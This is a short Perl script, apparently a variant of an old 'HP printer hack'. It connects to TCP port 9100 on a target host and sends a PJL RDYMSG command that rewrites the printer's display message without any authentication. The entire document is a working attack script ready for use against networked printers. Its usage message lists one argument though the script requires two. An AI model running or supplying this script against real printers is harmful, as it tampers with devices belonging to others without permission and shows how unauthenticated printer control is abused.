#!/usr/bin/perl # based off of _HP Printer Hack_ by sili@l0pht.com # written by gil cohen # sung@lostgeeks.net use strict; use IO::Socket; die "$0 \'message\'\n" unless @ARGV == 2; my($host,$message) = @ARGV; my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 9100, Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; print $sock "\033%-12345X\@PJL RDYMSG DISPLAY = \"".$message."\"\r\n\033%-12345X\r\n"; close($sock);